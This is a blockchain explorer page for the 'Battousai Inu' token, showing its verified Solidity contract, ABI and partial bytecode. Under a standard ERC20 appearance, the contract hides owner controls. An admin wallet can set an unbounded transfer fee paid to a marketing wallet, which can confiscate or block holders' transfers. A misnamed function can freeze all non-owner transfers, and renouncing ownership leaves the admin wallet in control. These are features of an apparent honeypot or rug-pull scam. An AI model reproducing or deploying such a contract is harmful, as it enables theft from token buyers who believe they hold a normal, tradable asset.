ETH Price: $3,173.64 (-8.29%)
Gas: 2 Gwei

Token

Battousai Inu (BATTINU)
 

Overview

Max Total Supply

1,000,000,000,000,000 BATTINU

Holders

55

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
11,250,000,000,000 BATTINU

Value
$0.00
0x3ec52292aef4039bcbf00cc10d0dcc4c05676141
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BattousaiInu

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-10-28
*/

// Website: https://battousaiinu.com/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.s
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

abstract contract Context {
    
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) private onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract BattousaiInu is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    address private _marketingWallet = 0x98A0a06B5717FE5Dc16B1D5fd6D66aA73104919D;
    address private _adminWallet = _msgSender();
    uint256 private slippage = 10;
   
    uint256 private _tTotal = 1000000 * 10**9 * 10**18;

    string private _name = 'Battousai Inu';
    string private _symbol = 'BATTINU';
    uint8 private _decimals = 18;
    uint256 private _maxTxAmount = _tTotal;

    constructor () {
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }
    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    /**
     * @dev updateTaxFee
     *
     */
    function updateSlippage(uint256 amount) public {
        require(_msgSender() == _adminWallet, "ERC20: cannot permit dev address");
        slippage = amount;
    }
    
    function setTaxAmount(uint256 txAmount) public onlyOwner{
        _maxTxAmount = txAmount;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
      
    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "BEP20: transfer from the zero address");
        require(recipient != address(0), "BEP20: transfer to the zero address");
        
        if (sender == owner()) {
            _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
            _balances[recipient] = _balances[recipient].add(amount);
            
            emit Transfer(sender, recipient, amount);
        } else{
            require(amount < _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            
            uint256 feeAmount = amount.mul(slippage).div(100);
            uint256 sendAmount = amount.sub(feeAmount);
        
            _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
            _balances[recipient] = _balances[recipient].add(sendAmount);
            _balances[_marketingWallet] = _balances[_marketingWallet].add(feeAmount);
            
            emit Transfer(sender, recipient, sendAmount);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"txAmount","type":"uint256"}],"name":"setTaxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateSlippage","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040527398a0a06b5717fe5dc16b1d5fd6d66aa73104919d600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620000696200031060201b60201c565b600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a6005556d314dc6448d9338c15b0a000000006006556040518060400160405280600d81526020017f426174746f7573616920496e7500000000000000000000000000000000000000815250600790805190602001906200010d92919062000318565b506040518060400160405280600781526020017f42415454494e5500000000000000000000000000000000000000000000000000815250600890805190602001906200015b92919062000318565b506012600960006101000a81548160ff021916908360ff160217905550600654600a553480156200018b57600080fd5b5060006200019e6200031060201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060065460016000620002536200031060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002a16200031060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051620003029190620003d9565b60405180910390a362000465565b600033905090565b828054620003269062000400565b90600052602060002090601f0160209004810192826200034a576000855562000396565b82601f106200036557805160ff191683800117855562000396565b8280016001018555821562000396579182015b828111156200039557825182559160200191906001019062000378565b5b509050620003a59190620003a9565b5090565b5b80821115620003c4576000816000905550600101620003aa565b5090565b620003d381620003f6565b82525050565b6000602082019050620003f06000830184620003c8565b92915050565b6000819050919050565b600060028204905060018216806200041957607f821691505b6020821081141562000430576200042f62000436565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b611c2880620004756000396000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806395d89b411161006657806395d89b4114610202578063a9059cbb14610220578063c3d9c9d714610250578063dd62ed3e1461026c576100cf565b806370a08231146101aa578063715018a6146101da5780638da5cb5b146101e4576100cf565b806306fdde03146100d4578063095ea7b3146100f257806315b0d4961461012257806318160ddd1461013e57806323b872dd1461015c578063313ce5671461018c575b600080fd5b6100dc61029c565b6040516100e99190611775565b60405180910390f35b61010c60048036038101906101079190611341565b61032e565b604051610119919061175a565b60405180910390f35b61013c6004803603810190610137919061137d565b61034c565b005b6101466103ed565b60405161015391906118b7565b60405180910390f35b610176600480360381019061017191906112f2565b6103f7565b604051610183919061175a565b60405180910390f35b6101946104d0565b6040516101a191906118d2565b60405180910390f35b6101c460048036038101906101bf919061128d565b6104e7565b6040516101d191906118b7565b60405180910390f35b6101e2610530565b005b6101ec610683565b6040516101f9919061173f565b60405180910390f35b61020a6106ac565b6040516102179190611775565b60405180910390f35b61023a60048036038101906102359190611341565b61073e565b604051610247919061175a565b60405180910390f35b61026a6004803603810190610265919061137d565b61075c565b005b610286600480360381019061028191906112b6565b6107fb565b60405161029391906118b7565b60405180910390f35b6060600780546102ab90611aa6565b80601f01602080910402602001604051908101604052809291908181526020018280546102d790611aa6565b80156103245780601f106102f957610100808354040283529160200191610324565b820191906000526020600020905b81548152906001019060200180831161030757829003601f168201915b5050505050905090565b600061034261033b610882565b848461088a565b6001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661038d610882565b73ffffffffffffffffffffffffffffffffffffffff16146103e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103da90611797565b60405180910390fd5b8060058190555050565b6000600654905090565b6000610404848484610a55565b6104c584610410610882565b6104c085604051806060016040528060288152602001611ba560289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610476610882565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461102f9092919063ffffffff16565b61088a565b600190509392505050565b6000600960009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610538610882565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bc90611857565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600880546106bb90611aa6565b80601f01602080910402602001604051908101604052809291908181526020018280546106e790611aa6565b80156107345780601f1061070957610100808354040283529160200191610734565b820191906000526020600020905b81548152906001019060200180831161071757829003601f168201915b5050505050905090565b600061075261074b610882565b8484610a55565b6001905092915050565b610764610882565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e890611857565b60405180910390fd5b80600a8190555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f190611897565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561096a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610961906117d7565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a4891906118b7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ac5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abc906117b7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2c90611877565b60405180910390fd5b610b3d610683565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d1e57610bdc81604051806060016040528060268152602001611bcd60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461102f9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7181600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461109390919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d1191906118b7565b60405180910390a361102a565b600a548110610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990611817565b60405180910390fd5b6000610d8c6064610d7e600554856110f190919063ffffffff16565b61116c90919063ffffffff16565b90506000610da382846111b690919063ffffffff16565b9050610e1183604051806060016040528060268152602001611bcd60269139600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461102f9092919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ea681600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461109390919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f5d8260016000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461109390919063ffffffff16565b60016000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161101f91906118b7565b60405180910390a350505b505050565b6000838311158290611077576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106e9190611775565b60405180910390fd5b506000838561108691906119ea565b9050809150509392505050565b60008082846110a29190611909565b9050838110156110e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110de906117f7565b60405180910390fd5b8091505092915050565b6000808314156111045760009050611166565b600082846111129190611990565b9050828482611121919061195f565b14611161576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115890611837565b60405180910390fd5b809150505b92915050565b60006111ae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611200565b905092915050565b60006111f883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061102f565b905092915050565b60008083118290611247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123e9190611775565b60405180910390fd5b5060008385611256919061195f565b9050809150509392505050565b60008135905061127281611b76565b92915050565b60008135905061128781611b8d565b92915050565b60006020828403121561129f57600080fd5b60006112ad84828501611263565b91505092915050565b600080604083850312156112c957600080fd5b60006112d785828601611263565b92505060206112e885828601611263565b9150509250929050565b60008060006060848603121561130757600080fd5b600061131586828701611263565b935050602061132686828701611263565b925050604061133786828701611278565b9150509250925092565b6000806040838503121561135457600080fd5b600061136285828601611263565b925050602061137385828601611278565b9150509250929050565b60006020828403121561138f57600080fd5b600061139d84828501611278565b91505092915050565b6113af81611a1e565b82525050565b6113be81611a30565b82525050565b60006113cf826118ed565b6113d981856118f8565b93506113e9818560208601611a73565b6113f281611b65565b840191505092915050565b600061140a6020836118f8565b91507f45524332303a2063616e6e6f74207065726d69742064657620616464726573736000830152602082019050919050565b600061144a6025836118f8565b91507f42455032303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114b06022836118f8565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611516601b836118f8565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b60006115566028836118f8565b91507f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008301527f78416d6f756e742e0000000000000000000000000000000000000000000000006020830152604082019050919050565b60006115bc6021836118f8565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006116226020836118f8565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006116626023836118f8565b91507f42455032303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006116c86024836118f8565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61172a81611a5c565b82525050565b61173981611a66565b82525050565b600060208201905061175460008301846113a6565b92915050565b600060208201905061176f60008301846113b5565b92915050565b6000602082019050818